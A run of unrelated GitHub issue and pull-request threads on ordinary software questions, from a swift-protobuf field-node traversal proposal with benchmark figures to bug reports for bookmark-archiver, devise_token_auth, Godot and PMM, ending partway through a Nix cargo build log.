Yup, 2.0 is allowed breaking changes.
As to your other questions - I'll defer to the Apple folks on the general api changes.  @tbkka @FranzBusch @Lukasa
I do worry a little about how much the compiler will be able to inline compared to the current code and it also seems like you concern about stack size might be justified.
Having said that, I do sorta like the idea of only having to generate something more Array like that might hopefully be less actual code, reducing the overall size of the generated code.

Sounds good I'll put together a PR this week and we can discuss more there, thanks for the quick reply!

func traverse<V: Visitor>(inout visitor: V, options: VisitorOptions) throws {
    for node in visitorNodes {
        try node.visit(visitor: &visitor, options: options)
    }
}

I developed the current API after performance-testing a lot of different alternatives.  But I must confess, I never tried something with quite this shape, so I'm very curious to see how well it would work.  Like Thomas, I'd be willing to accept a modest performance loss if this could significantly reduce code size.  Certainly worth the experiment!
I suspect the first performance challenge will be to ensure the array of nodes is statically allocated just once for each message type.

I suspect the first performance challenge will be to ensure the array of nodes is statically allocated just once for each message type.

I'll have to think about this a bit. On the surface level static allocation doesn't really make sense since each node is capturing the value of a given field. Maybe if nodes capture key paths this could work 🤔

I'd be willing to accept a modest performance loss if this could significantly reduce code size.

Do you have any recommendations for ways I can capture the relative performance of my solution? Are there some good sample protons I could use or some benchmark test cases I could run?

I played around with keypaths and I think they should work! I've got a rough prototype have been able to make this work for every field type.
Here is the general shape I've got so far
struct FieldNode<M: Message> {
    private let fieldNumber: Int
    private let subtype: Subtype

    private enum Subtype {
        case singularFloat(keypath: KeyPath<M, Float>, defaultValue: Float)
        // ...
    }

    func traverse<V: Visitor>(message: M, using visitor: inout V, options: VisitorOptions) throws {
        switch subtype {
        case .singularFloat(let keypath, let defaultValue):
            let value = message[keyPath: keypath]
            if options.contains(.visitDefaults) || value != defaultValue {
                try visitor.visitSingularFloatField(value: value, fieldNumber: fieldNumber)
            }
        // ...
        }
    }

    // MARK: - Factories

    public static func singularFloat(_ keyPath: KeyPath<M, Float>, fieldNumber: Int, defaultValue: Float) -> Self {
        Self(fieldNumber: fieldNumber, subtype: .singularFloat(keypath: keyPath, defaultValue: defaultValue))
    }
    // ...
}

extension FooType: Message {
    static let fieldNodes: [FieldNode<Self>] = [
        .singularFloat(\.someFloat, fieldNumber: 1, defaultValue: 0)
    ]
}

Message/Enum/Map fields are a little trickier but I do have something working for those too.
Accessing the fields through a keypath doesn't seem to have a significant performance impact compared to accessing fields directly.
I think swift switch statements over enums are O(1) but I need to confirm this as that could be a performance bottleneck.
If we push this concept a little further we could actually use this to get rid of _protobuf_nameMap and potentially save even more space by consolidating everything into fieldNodes by including the naming information in the field node with an API like this.
static let fieldNodes: [Int: FieldNode<Self>] = [
    1: .singularFloat(\.someFloat, defaultValue: 0, name: .same("some_float"))
]

We'd probably need to use an ordered dictionary though since I assume its important that visitor visit fields in order and we wouldn't want to do any sorting at runtime.

This is very promising!   We'd need to see some measurements (performance and code size) to see how to best take advantage of this, of course.  For example, if it's a big code size win but also a significant performance regression, then we might need to give people the option of generating either old-style (fast) or new-style (compact) output.  But we'd have to see some actual numbers to inform any such planning.  Of course, we all hope that🤞 it's a code size win without being a performance regression -- that would be truly wonderful!
This might also give us a way to drop the generated Equatable conformances, which is another source of code bloat; walking this list of field info would let us compare two messages with a general iterator instead of bespoke code.

You might not need a dictionary to replace _protobuf_nameMap, actually.   That name map is a dictionary today because the current traversal provides a field number that needs to get translated.  If the encoding is being driven by an array of field nodes, then those nodes would give both field number and name, so you would not need a translation per se.  And arrays are more compact and faster to traverse than dictionaries.  Hmmm....  There is the question of decoding, though.  Hmmm...

Yes exactly, you'd still need to the ability to do a lookup for decoding purposes from what I can tell.

Next step for me is to get this code out of my custom plugin I've written and into a fork of swift-protobuf and get started with some performance testing. I'm not looking forward to having to re-generate all the pb.swift files in this repo 😅
I'll report back my findings when I have some 😊, thank you for your feedback so far!

One catch for visit is the intermixing of extension ranges.  Not sure if you want markers for that in the list of fields, or if we capture the info in another list and then walk the two in parallel to mix the data?  (unknown fields just get put at the end, not in order).
As far are regeneration goes, once the generator is updated, the Makefile has targets to do that.

Actually, we also need to double check how other languages do this option with respect to field presence.  i.e. - if the field has presence, does the flag actually do something, or is the flag only honored when the field doesn't have presence?

One other through - you might be able to get some generated code size savings by doubling Subtype case, and having a version of each with and without a default value.  i.e. - if the default value is zero/empty string/empty bytes, use the case without a default and just make make the code interfacing deal accordingly.  Since zero is the majority common case, it can shrink things a fair amount.

I did a bunch of performance experimentation over the weekend and here are some findings:

protocol dispatch appears to perform slightly faster than switch statements over enums with associated types. (I was pretty surprised by this)
Closures appear to be faster than keypaths

With these in mind this is what I've pivoted to:
internal protocol Field<M> {
    associatedtype M: Message
    func traverse<V: Visitor>(message: M, visitor: inout V) throws
}

fileprivate struct SingularInt32Field<M: Message>: Field {
    private let fieldNumber: Int
    private let getValue: (M) -> Int32

    func traverse<V: Visitor>(message: M, visitor: inout V) throws {
        try visitor.visitSingularInt32Field(value: getValue(message), fieldNumber: fieldNumber)
    }
}

public struct FieldNode<M: Message> {
    private let field: any Field<M>
    private let isDefault: (M) -> Bool

    internal func traverse<V: Visitor>(message: M, using visitor: inout V) throws {
        if !isDefault(message) {
            try field.traverse(message: message, visitor: &visitor)
        }
    }

    public static func singularInt32(_ getValue: @escaping (M) -> Int32, fieldNumber: Int, defaultValue: Int32 = 0) -> Self {
        Self(field: SingularInt32Field(fieldNumber: fieldNumber, getValue: getValue), isDefault: { getValue($0) == defaultValue })
    }
}

extension Message {
    public func traverse<V: Visitor>(visitor inout: V) throws {
        for node in Self.nodes {
            node.traverse(message: self, visitor: &visitor)
        }
    }
}

Generated code:
extension SomeProto {
    static let fieldNodes: [FieldNode<Self>] = [
        .singularInt32({ $0.someInt32 }, fieldNumber: 1),
    ]
}

Performance
I've been measuring performance by generating a proto with one of every kind of field and encoding it to both binary and json formats, in a cli I built using the release configuration. This isn't that scientific but it gives us a ballpark estimation of the performance loss

Method
Performance

Binary encode, all fields are unset
~6x slower

Binary encode, all fields are set
~1.3x slower

Json encode, all fields are unset
~1.8x slower

Json encode, all fields are set
no difference

I'm still trying to optimize the "binary encode, all fields are unset" case and I'm open to suggestions. Its kind of hard to compete with the status quo since its an inlined function that effectively no-ops in the status quo while we still need to iterate over the array of nodes and dispatch some calls in my proposed implementation.

Are those initial numbers debug or release? And how is performance compare in the other?  i.e. - how much slower is debug how much slower is release?

Those measurements are taken in a release build.
Here are the same measurements in a debug build:

Method
Performance

Binary encode, all fields are unset
~7x slower

Binary encode, all fields are set
~1.2x slower

Json encode, all fields are unset
~2.7x slower

Json encode, all fields are set
no difference

Update:
I had a mistake in my logic that inverted the check to visit nested messages
Here is a more accurate performance measurement:
Release

Method
Performance

Binary encode, all fields are unset
~1.5x - 2x slower

Binary encode, all fields are set
~1 - 1.2x slower

Json encode, all fields are unset
~1 - 1.3 x slower

Json encode, all fields are set
no difference

Debug

Method
Performance

Binary encode, all fields are unset
~3x slower

Binary encode, all fields are set
~1.2x slower

Json encode, all fields are unset
~2x slower

Json encode, all fields are set
~1.1x slower

I think this is reasonable point to pause runtime performance optimization, especially since if we put name information into Field we can probably make json encoding faster than status quo.
I'm going to shift my focus to measuring the bundle size impact and seeing how much that can be optimized.

I did some testing last night on the impact of my approach on the size of the binary and unfortunately this approach increases the binary size rather than decrease. I think this is happening because Field<M> and all the FieldItem<M> types are being reified for every message type resulting in lots of symbols. I'm going try to see if a less safe but type-erased version of Field can work.

Do you have any advice for measuring bundle size impact? I've tried a few things now and I'm getting either inconsistent or unexpected results. For example I experimented with dropping the _ProtoNameProviding conformance from message generation and saw no impact on my binary size which doesn't make sense to me.
So far what I've been doing is creating a macOS cli that depends on my fork of SwiftPrototobuf and generating 100 messages with 50 fields each that I embed in the cli. Then I archive that and look at the resulting binary size.

Here is a PR with what I've been working on https://github.com/apple/swift-protobuf/pull/1504

Actually, we also need to double check how other languages do this option with respect to field presence. i.e. - if the field has presence, does the flag actually do something, or is the flag only honored when the field doesn't have presence?

Based on my understanding of the spec, this flag should be ignored for fields with presence.

When generating JSON-encoded output from a protocol buffer, if a protobuf field has the default value and if the field doesn’t support field presence, it will be omitted from the output by default. An implementation may provide options to include fields with default values in the output.

These two implementations use has presence explicitly when checking the value of the flag.

csharp implementation (FormatDefaultValues)
external pbandk implementation (outputDefaultValues)

I believe these implementations are equivalent, but it's harder to read this out (proto3 optional is implemented as oneof):

java implementation (alwaysOutputDefaultValueFields)
cpp implementation (always_print_primitive_fields)
python implementation (including_default_value_fields)


Ubuntu 17.10: chromium version is not parsed correctly

I get the following error when running archive.py:
[*] Checking Dependencies:
/usr/bin/chromium-browser
Traceback (most recent call last):
  File "./archive.py", line 124, in <module>
    update_archive(archive_path, links, source=source, resume=resume, append=True)
  File "./archive.py", line 70, in update_archive
    archive_links(archive_path, links, source=source, resume=resume)
  File "/home/benjamin/bin/bookmark-archiver/archive_methods.py", line 40, in archive_links
    check_dependencies()
  File "/home/benjamin/bin/bookmark-archiver/util.py", line 63, in check_dependencies
    if int(version) < 59:
ValueError: invalid literal for int() with base 10: 'Using'

the reason is that

chromium --version

might give something like

Using PPAPI flash.
--ppapi-flash-path=/usr/lib/adobe-flashplugin/libpepflashplayer.so --ppapi-flash-version=
Chromium 62.0.3202.94 Built on Ubuntu , running on Ubuntu 17.10

on Ubuntu 17.10. I changed line 62 of util.py

version = result.stdout.decode('utf-8').replace('Google Chrome ', '').replace('Chromium ', '').split(' ', 1)[0].split('.', 1)[0]  # TODO: regex might be better
63

to

version = result.stdout.decode('utf-8').split('Chromium',1)[1].replace('Google Chrome ', '').replace('Chromium ', '').split(' ', 1)[1].split('.', 1)[0]

but could not find an immediate solution to also cover Google Chrome

Ah, I knew trying to parse a version string was going to be trouble eventually :)
Fixed in 6eb1e23, try pulling master and running it again.


[lime.Assets] There is no asset library named "" in lime 3.4.0

I couldn't load assets in lime-samples with this error... Tried with haxelib version.

I had this error yesterday, but this fixed it
https://github.com/openfl/openfl/commit/402face085ec93358cf25fd46042ecef05bfadf0
Do you have that commit?

I see it now, thank you.
It's the timing of waiting for assets to be loaded, but triggering before onPreloaderComplete is dispatched
https://github.com/openfl/lime/commit/87f331ca3c4b3607a2f0772352513ddfd9461461
This will go out in a minor release


How to generate "Fusion data"

Hello,
Great work and GitHub repositories!
I was curious regarding the Fusion data generation, could you clarify the arguments (i.e. --separation,--range,..) you used for generating the data with generate_fusion.py?
https://github.com/hkchengrex/MiVOS/blob/b1992e6a2ecab84ff1b61f896e501cb357ee7b3d/generate_fusion.py#L24-L36
Also, it seems that a link is missing for downloading the pre-generated fusion data in the README.md
Best!

Thanks for reminding me. I have fixed the links.
DAVIS train set (range does not matter):
Set 1 - separation: 5, memory freq: 10
Set 2 - separation: 5, memory freq: 20
Set 3 - separation: 5, memory freq: 30
BL30K:
Set 1 - separation: 30, memory freq: 20, range: 90, start 0, end 5000
Set 2 - separation: 30, memory freq: 20, range: 90, start 5000, end 10000
I generated a few sets for each dataset to increase diversity. These parameters can also be inferred from the names of the folders.


Wrong homepage in metadata

https://github.com/cjw296/switcheroo/blob/master/pyproject.toml#L8

Fixed, thanks :-)


optimize the filter rule of channel for cyber_monitor

If using cyber_monitor tool to monitor channels, the Arm V8 will be slow when there were a lot of channels in the LAN.
The old filter can only filter one channel.People often need to filter channels by key words.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Refactoring of azure-pipelines.md docs

Refactors azure-pipelines.md docs to follow best practise for writing Markdown documentations.
Checklist

[x] Commits are signed with Developer Certificate of Origin (DCO)

Thanks for the PR; but I'm not sure if this is a best practice or just a preference :)
If we go this route, then we should have linting in place and update all docs to align for consistency imo


Extract storage details of a Server using Redfish

Can you run make docs to regenerate the API reference documentation to reflect the status change?


Doesn't work in WSL

When using in WSL, the Task Board tab doesn't display anything. It does not create a TODO.md, and Task Board does not display anything. Even if TODO.md is created manually, the Task Board will not display anything. In my case, this only occurs in WSL.

Same here.
It also seems to be related to issue https://github.com/coddx-hq/coddx-alpha/issues/63.

Same for me, under WSL. Would've like to use this.


Document when to use country code along with language code in localizations

This is a Feature Request

What would you like to be added

Currently, the documentation for starting a new localization instructs only to use the language code. However, some of the languages for which the website is currently localized also have the country code, due to Docsy specificities and because the language is written differently in the places where it is spoken.
Document a general guideline of when and how a language should also contain the country code attached to it when localizing Kubernetes documentation, so new locales follow the country code standard when it makes sense to do so.
Why is this needed
To make sure that previous decisions made by localization teams are documented in in our Localizing Kubernetes documentation page.
Comments

This is a follow-up issue to discussion on #37967.
/assign
/cc @a-mccarthy

/triage accepted


Optimise TextEdit theme loading

During editor load and when switching between scripts tabs, TextEdit was updating its cache for no reason, this was quite slow.
This PR adds two new methods to Control. begin_bulk_theme_override, which will prevent *_theme_*_override methods from causing a theme update, until end_bulk_theme_override is called.
Secondly, since we now have a dedicated code editing node CodeEdit, unlike before with TextEdit, we had to override most items to turn it into the code editor. Now there is no longer a need to do so, the theme overrides have been moved into the default editor theme.
Finally, TextEdits internal text class, now has a is_dirty flag to prevent invalidating the cache when not needed.
Overall, this has increased performance for a large script on load from 450ms to 30ms, and switching script tabs, from 1.3 seconds  to 80ms.
Seems to alleviate some of the issues seen in #51349

Your second commit "Only update TextEdit text cache when dirty." seems interesting.
Some Setters of nodes in scene/ folder, just set the property and update/regenerate the internal values again, without checking if the newly set values is same as old values.
I wonder if  we apply  condition in setters to check if new value is same as old values wherever possible, how much performance gains would be available.

See #49227, it seems you're reimplementing something which already exists for preventing theme updates (CC @pycbouh).

See #49227, it seems you're reimplementing something which already exists for preventing theme updates (CC @pycbouh).

Similar, but not quite the same. What I've added in the linked PR prevents changes to the Theme resource from propagating during bulk operations. This one solves the situation where local overrides on a control are updated and cause the theme changed signal to fire, unrelated to the Theme resource.
Now, the only reason why the control fires that notification at all is so it can update itself (the signal is not propagated to the children, because they don't really care for the local overrides on the parent control). So this solution seems fine and not stepping on the same ground as the linked PR. Though I'm not sure if we should expose the new methods to the scripting API, as they need to be handled with care. Or at the very least a big warning is in order in the documentation.

Thanks!

Oh, seems like this fixes the https://github.com/godotengine/godot/issues/51349 - it speeds up it very much at least!


Extract loop() out of Lwjgl3Application constructor so app may be exited programmatically

Issue details
When creating an Lwjgl3Application, the loop is in the constructor, so the created object is never returned, so you can't call exit() on it.
I suggest to extract a start method out of the constructor so we may call it separately. Other options include and alternate constructor for this and launching the loop in a thread so the constructor can return.
public Lwjgl3Application(ApplicationListener listener, Lwjgl3ApplicationConfiguration config)
{
   initializeGlfw();

   [...]

   windows.add(window);
}

public void start() {
   try {
      loop();
      cleanupWindows();
   } catch(Throwable t) {
   if (t instanceof RuntimeException)
      throw (RuntimeException) t;
   else
      throw new GdxRuntimeException(t);
   } finally {
      cleanup();
   }
}

Version of LibGDX and/or relevant dependencies
1.9.14
Please select the affected platforms

[ ] Android
[ ] iOS
[ ] HTML/GWT
[X] Windows
[X] Linux
[X] MacOS

calling Gdx.app.exit() in your game loop is the right way to exit the app.


CSV import broken

I tried with the raw file from scope including headers, and the same data with the headers stripped out, neither worked.
The number of samples does not seem detected properly (says 500kS) and the data loads in as a bunch of horizontal lines, with improper time per sample as well.

tek0001CH1.csv

Sorry, forgot to include an important detail : this is 1Mpts but I get the same behavior with 20Mpts, and 100kpts files.

There's a couple of things going on here. The first is a parsing bug related to line 500001 where I don't know how to handle positive exponents (it thinks it's a header line for some reason). Should have a fix soon.


Why is Trackable option still active?

This gem is awesome and helpful for me! Thanks for Contributors !
But I have a question about devise_auth_token:install command.

Version: which version of this gem (and ng-token-auth, jToker or Angular2-Token if applicable) are you using?

devise_token_auth (1.1.3)
devise (4.7.1)
rails (6.0.1)

Environmental Info: How is your application different from the reference implementation? This may include (but is not limited to) the following details:

I'm using RailsAPI mode.
Question
Why does a model have Trackable option after rails g devise_auth_token:install User auth?
When I did the command and tried to log in by Postman, the following error was occurred.
Started POST "/api/auth/sign_in" for <IP_ADDRESS> at 2019-11-16 07:01:57 +0000
Processing by DeviseTokenAuth::SessionsController#create as */*
  Parameters<EMAIL_ADDRESS>"password"=>"[FILTERED]", "password_confirmation"=>"[FILTERED]"<EMAIL_ADDRESS>"password"=>"[FILTERED]", "password_confirmation"=>"[FILTERED]"}}
Unpermitted parameters: :password_confirmation, :session
Unpermitted parameters: :password_confirmation, :session
  User Load (1.3ms)  SELECT `users`.* FROM `users` WHERE (BINARY email =<EMAIL_ADDRESS>AND provider= 'email') ORDER BY `users`.`id` ASC LIMIT 1
Unpermitted parameters: :password_confirmation, :session
Unpermitted parameters: :password_confirmation, :session
   (0.6ms)  BEGIN
  User Update (0.8ms)  UPDATE `users` SET `users`.`tokens` = '{\"Yyo_9HeIa8IWPe4HlWl_KQ\":{\"token\":\"$2a$10$xezZ80NcEPTNGSLtM9hf1OTGwcXrtxG/KCXLncn61OhLjemZVGQW.\",\"expiry\":1576479431},\"7QLXe4cmya6gSgUpyqnhqg\":{\"token\":\"$2a$10$D62DWXQWOXGw7wcWaiAu1.JZkxHBZ3ae/zDvEzFssu6NWLtMnMWbC\",\"expiry\":1576479651},\"Pv2_ppcBK05SmSlTA7QVfA\":{\"token\":\"$2a$10$fRTY3j6wJFTqrBh5dZJZU.iqGwreW3ZdE2CWNjJv9mr6.XSFRNs/O\",\"expiry\":1576479717}}', `users`.`updated_at` = '2019-11-16 07:01:57.655591' WHERE `users`.`id` = 1
   (4.2ms)  COMMIT
Completed 500 Internal Server Error in 192ms (ActiveRecord: 6.9ms | Allocations: 5801)

NoMethodError (undefined method `current_sign_in_at' for #<User:0x000055586157b638>):

activemodel (6.0.1) lib/active_model/attribute_methods.rb:431:in `method_missing'
devise (4.7.1) lib/devise/models/trackable.rb:21:in `update_tracked_fields'
devise (4.7.1) lib/devise/models/trackable.rb:39:in `update_tracked_fields!'
devise (4.7.1) lib/devise/hooks/trackable.rb:9:in `block in <main>'
warden (1.2.8) lib/warden/hooks.rb:15:in `block in _run_callbacks'
warden (1.2.8) lib/warden/hooks.rb:10:in `each'
warden (1.2.8) lib/warden/hooks.rb:10:in `_run_callbacks'
warden (1.2.8) lib/warden/manager.rb:52:in `_run_callbacks'
warden (1.2.8) lib/warden/proxy.rb:191:in `set_user'
devise (4.7.1) lib/devise/controllers/sign_in_out.rb:53:in `sign_in'
devise_token_auth (1.1.3) app/controllers/devise_token_auth/sessions_controller.rb:32:in `create'

・・・

After a searching, I understood that  a migration file that was created by devise_auth_token:install didn't include columns even commented out code for Trackable.
I've found a PR that the trackable option was removed from devise by default to support GDPR.
And also I've found a PR of this repository to remove some trackable options from code.
I thought that some developers were confused by the error and all of them need to search to  avoid it, so Trackable option should be removed from all of generator code.

I've encountered this recently also. DTA's migration generator should probably include all of the standard Devise modules supported in Devise's migration file. I didn't need Trackable so I just removed it from my User model.

I believe that it was already removed from the source code: https://github.com/lynndylanhurley/devise_token_auth/blob/master/lib/generators/devise_token_auth/templates/user.rb.erb, but for whatever reason given patch #1362 did not make it to the build.
I think this would be auto-fixed if current master would be released.

I released a version a couple of days ago, so this should be fixed


Notes for Updating Promotional Content

All Content

Dates for this year are: Thursdays: Jan 23, 30; Feb 6, 13, 20, 27 from 5-6:30 PM EST (note all events are now 5-6:30 EST vs. 5-6 PM for coworking last year)
PreReview is not a partner this year and can be removed from this year's content
Please add Openscapes on Bluesky<EMAIL_ADDRESS>(https://bsky.app/profile/openscapes.bsky.social)
I am currently really iffy about Twitter and whether we will be posting there at all...we'll decide in our team meeting on Dec. 2nd and let you know ASAP. For rn plan to replace Twitter's logo and whatnot with Bluesky and I'll ask the other orgs if they have Bluesky or another platform to share.
registration (via zoom) will open with the post of the save the date flyer and sharing of one pager -> I realize we have the QR code and I'll talk to Stef tomorrow about opening registration so we can have that on the flyer

Registration is live, and linked from Pathways site: https://openscapes.github.io/pathways-to-open-science/

Hooray, looks great!!!

Hello! Here is a copy of the one-pager with all of those edits.
Pathways to Open Science One-Pager.pdf

@IleanaF I updated the website screenshot in 2025_Pathways_OverviewPromo slides. It had 2024 info.


cmake: Fix dependencies for LD script generation

The dependencies relating to generating LD scripts are declared
incorrectly. This manifests itself as broken incremental builds as
shown in #13001.
This commit aligns the LD script generation with the Zephyr standard
for declaring custom commands.
For instance, custom commands should generate files that are wrapped
by targets. The custom commands should declare the dependencies, not
the targets.
Also, when using custom commands, the OUTPUT signature should be used,
not the TARGET signature, as app_smem was doing.
For details about how Zephyr uses custom commands see
https://samthursfield.wordpress.com/2015/11/21/cmake-dependencies-between-targets-and-files-and-custom-commands/
This fixes #13001.

Thanks for looking into this, will do some tests later today


Moving build scripts to vcpkg ?

It simplifies a lot building DJV.
I did this for two versions of DJV already :

vcpkg-2.0.8
vcpkg-master

I can't maintain this myself and maybe it makes sense for DJV.

Here's commands for a fresh repo :

git submodule update --init --recursive
.\vcpkg\bootstrap-vcpkg.bat -disableMetrics
.\vcpkg\vcpkg.exe install
configure cmake adding -DCMAKE_TOOLCHAIN_FILE=${workspaceFolder}/vcpkg/scripts/buildsystems/vcpkg.cmake
build using cmake

Hi and sorry for the delay! I'm not familiar with vcpkg, is this a replacement for CMake or a way to automate the CMake builds?

it's a package manager like apt or flatpak.

It can help versioning, retrieving, building libraries used by cmake projects.


Go to Page

Can you add a way to go to a specific page of slides?
Example:  I have 15 slides and I have it set to show and slide 5 slides at at time = 3 pages.  On page one I want to have a way to go to page 3.

Added scrollToPage slot prop method that scrolls to the current page


Urgent, make sure that containers are restarted on their previous IP address, do not default to <IP_ADDRESS>!

Could cause containers to bypass webserver protections. Very high priority.

closed by #10


Algorithm selection for which you want to increase data dilution

Big data (data above 10,000 levels) will cause page lag, can you dilute a data function, for example: 'lttb': using the Largest-Triangle-Three-Bucket algorithm,
The trend, shape and extrema of the sampled lines can be guaranteed to the greatest extent.
However, it may take a long time for the page to render
'average': Takes the average of the filter points
'min': Take the minimum value of the filter point
'max': takes the maximum value of the filter point
'minmax': takes the maximum extreme value of the absolute value of the filter point
'sum': takes the sum of the filter points

Hi @khcshell
That's a very cool suggestion, thank you.
I'm looking into it.

v2.4.11  implements LTTB for the following charts, which are the most susceptible to be used with large datasets:

Component
Default Threshold
Remark

VueUiXy
500

VueUiXyCanvas
10000
Since this chart uses canvas, threhsold can be set higher

VueUiQuadrant
500

VueUiScatter
500

VueUiSparkline
500

VueUiSparkTrend
500


Values such as "mdb_average" can cause Overlays to be rewritten every time a run is executed

Version Number
1.19.1
What branch are you on?
master
Describe the Bug
Recently I noticed that my overlays were constantly being rewritten. I tracked down the culprit to utilizing mdb_average as my source for ratings on my overlays. Because the mdb_average is constantly changing, due to amount of sources that are used to calculate it, this causes the value to regularly change from e.g. 5.2 to 5.3 back to 5.2 etc. depending on how frequently the Movie or TV Show is being rated on social sites such as trakt/letterboxd etc. Perhaps if there was a flag to skip updating entries that have already had custom ratings applied via the mass*update operations, the issue could be avoided?
Relevant Collection/Overlay/Playlist Definition
No response
Logs
No response

There's not really any way for PMM to know if a rating has been updated, unless it tracks it outside Plex, and that's brittle.
Perhaps a simpler solution would seem to be to schedule the mass update to happen less frequently?

The only issue with less frequent mass updates is that depending on what data the user is expecting to see in their collection, they will temporarily see ratings that don't align with their expectations. Unfortunately this is somewhat the nature of having such a unstable value such as the mdb_average. My original thought was along the same lines of the "Overlay" tag that PMM applies to entries it has already customized. Perhaps a similar tag could be applied when it comes to custom information such as ratings coming from PMM?
Food for thought. I have already switched my config over to use mdb_tomatoes on the overlays themselves since I don't foresee a quick solution for this. It's a shame though since mdb_average is an all encompassing value that can give a clearer view to the quality of content.

Adding a flag to skip updates seems like it would cause the same "values don't match" issue.  MDBList average for Barbie is 79 today.  If PMM sets it today along with a flag to never touch it again, then when it changes the site and the overlay will diverge.
Probably the actual solution, assuming that 0.1 swings in this average is what's causing the issue is to round it to an integer before using it, so only 1-point swings cause an overlay update.  MDBList displays it as an integer, so that should match user expectations as well.

My flag would only really work if the user was ok with essentially settling with whatever the value was when they ran that mass update. It would be a snapshot in time of whatever that score was at that point and what was used for their library.
Your rounding idea could work but it really depends on how often mdb's value actually changes in integers. Using Barbie as the example again, it still says 79 today so that's a good sign that it could be a solution for the way mdb_average gets pulled in.

Is there log output showing specifically why the overlays were being reapplied in these cases?

Hey @chazlarson sorry real life got in the way of fiddling with this. Circling back, I think this might be a simple case of ambiguous logging? The trace log would lead me to believe that the Overlays are being regenerated over and over each time I run this as the Audience score is constantly changing (this is mdblist based which is constantly changing in value). However, I took a look at Plex's image cache and I only see the one PMM image there which would lead me to believe that only 1 instance exists? If it really reapplying the Overlays, and recreating image files over and over, I would see multiple images in Plex no?
I just ran my Movies library back to back (didn't bother with test since I wanted to get as much data as possible) and saw all the trace logging in the form of "Overlay Reason: Overlay changed Special Text Changed from 7.8 to 7.9" which Special Text Changed referring to the Audience score which is NOT on the overlays (only critic score). However, as you'll see in my screenshot, only 1 instance of each PMM poster is in Plex. The only exception being the forced change I did to 28 Weeks Later which you can see the previous variation along with the new one.

meta.log
meta.log.1.log


DATETIME类型插入数据时区转化问题

Search before asking

[X] I had searched in the issues and found no similar issues.

Description
DATETIME类型数据插入时候支持，这种时间的"2024-01-18T14:40:17.060106632Z"  的时区转化吗 转化上海时区失败
Use case
No response
Related issues
No response
Are you willing to submit PR?

[ ] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

小数点后超过六位预期会被忽略。这个行为目前是符合预期的


Include PDB file in ModCompile zip for 0.11

Implement exactly like documentation xml files.

Am I the first one to be notified about this? Anyways, I think so too! :+1:


novops gets built twice

Issue description
I was trying to add the autocompletion to novops and my laptop CPU was flirting with the 97 celsius bar so I had a peek at the build logs and I think it gets built twice:
Executing cargoBuildHook
++ env CC_X86_64_UNKNOWN_LINUX_GNU=/nix/store/lbk30k56awz9vz9qpid93fkjns0xwlhd-gcc-wrapper-13.3.0/bin/cc CXX_X86_64_UNKNOWN_LINUX_GNU=/nix/store/lbk30k56awz9vz9qpid93fkjns0xwlhd-gcc-wrapper-13.3.0/bin/c++ CARGO_TARGET_X86_64_UNKNOWN_LINUX_GNU_LINKER=/nix/store/lbk30k56awz9vz9qpid93fkjns0xwlhd-gcc-wrapper-13.3.0/bin/cc CC_X86_64_UNKNOWN_LINUX_GNU=/nix/store/lbk30k56awz9vz9qpid93fkjns0xwlhd-gcc-wrapper-13.3.0/bin/cc CXX_X86_64_UNKNOWN_LINUX_GNU=/nix/store/lbk30k56awz9vz9qpid93fkjns0xwlhd-gcc-wrapper-13.3.0/bin/c++ CARGO_TARGET_X86_64_UNKNOWN_LINUX_GNU_LINKER=/nix/store/lbk30k56awz9vz9qpid93fkjns0xwlhd-gcc-wrapper-13.3.0/bin/cc CARGO_BUILD_TARGET=x86_64-unknown-linux-gnu HOST_CC=/nix/store/lbk30k56awz9vz9qpid93fkjns0xwlhd-gcc-wrapper-13.3.0/bin/cc HOST_CXX=/nix/store/lbk30k56awz9vz9qpid93fkjns0xwlhd-gcc-wrapper-13.3.0/bin/c++ cargo build -j 12 --target x86_64-unknown-linux-gnu --offline --profile release
warning: `/build/.cargo/config` is deprecated in favor of `config.toml`
note: if you need to support cargo 1.38 or earlier, you can symlink `config` to `config.toml`
warning: `/build/.cargo/config` is deprecated in favor of `config.toml`
note: if you need to support cargo 1.38 or earlier, you can symlink `config` to `config.toml`
   Compiling proc-macro2 v1.0.82
   Compiling unicode-ident v1.0.12
   Compiling libc v0.2.154
   Compiling cfg-if v1.0.0
   Compiling autocfg v1.3.0
   Compiling version_check v0.9.4
   Compiling cc v1.0.97
   Compiling pin-project-lite v0.2.14
   Compiling itoa v1.0.11
   Compiling bytes v1.6.0
   Compiling serde v1.0.201
   Compiling futures-core v0.3.30
   Compiling memchr v2.7.2
   Compiling parking_lot_core v0.9.10
   Compiling smallvec v1.13.2
   Compiling scopeguard v1.2.0
   Compiling fnv v1.0.7
   Compiling futures-sink v0.3.30
   Compiling once_cell v1.19.0
   Compiling pin-utils v0.1.0
   Compiling log v0.4.21
   Compiling futures-io v0.3.30
   Compiling ryu v1.0.18
   Compiling futures-channel v0.3.30
   Compiling futures-task v0.3.30
   Compiling lock_api v0.4.12
   Compiling slab v0.4.9
   Compiling subtle v2.5.0
   Compiling tracing-core v0.1.32
   Compiling http v0.2.12
   Compiling typenum v1.17.0
   Compiling zeroize v1.7.0
   Compiling generic-array v0.14.7
   Compiling num-traits v0.2.19
   Compiling powerfmt v0.2.0
   Compiling num-conv v0.1.0
   Compiling spin v0.9.8
   Compiling quote v1.0.36
   Compiling percent-encoding v2.3.1
   Compiling time-core v0.1.2
   Compiling untrusted v0.9.0
   Compiling time-macros v0.2.18
   Compiling syn v2.0.61
   Compiling getrandom v0.2.15
   Compiling socket2 v0.5.7
   Compiling signal-hook-registry v1.4.2
   Compiling mio v0.8.11
   Compiling parking_lot v0.12.2
   Compiling num_cpus v1.16.0
   Compiling http-body v0.4.6
   Compiling ring v0.17.8
   Compiling ahash v0.8.11
   Compiling num_threads v0.1.7
   Compiling rand_core v0.6.4
   Compiling zerocopy v0.7.34
   Compiling either v1.11.0
   Compiling allocator-api2 v0.2.18
   Compiling semver v1.0.23
   Compiling form_urlencoded v1.2.1
   Compiling openssl-probe v0.1.5
   Compiling httparse v1.8.0
   Compiling equivalent v1.0.1
   Compiling http v1.1.0
   Compiling rustls v0.21.12
   Compiling try-lock v0.2.5
   Compiling hashbrown v0.14.5
   Compiling want v0.3.1
   Compiling rustc_version v0.4.0
   Compiling vsimd v0.8.0
   Compiling crypto-common v0.1.6
   Compiling block-buffer v0.10.4
   Compiling outref v0.5.1
   Compiling digest v0.10.7
   Compiling httpdate v1.0.3
   Compiling tower-service v0.3.2
   Compiling base64 v0.21.7
   Compiling num-integer v0.1.46
   Compiling bytes-utils v0.1.4
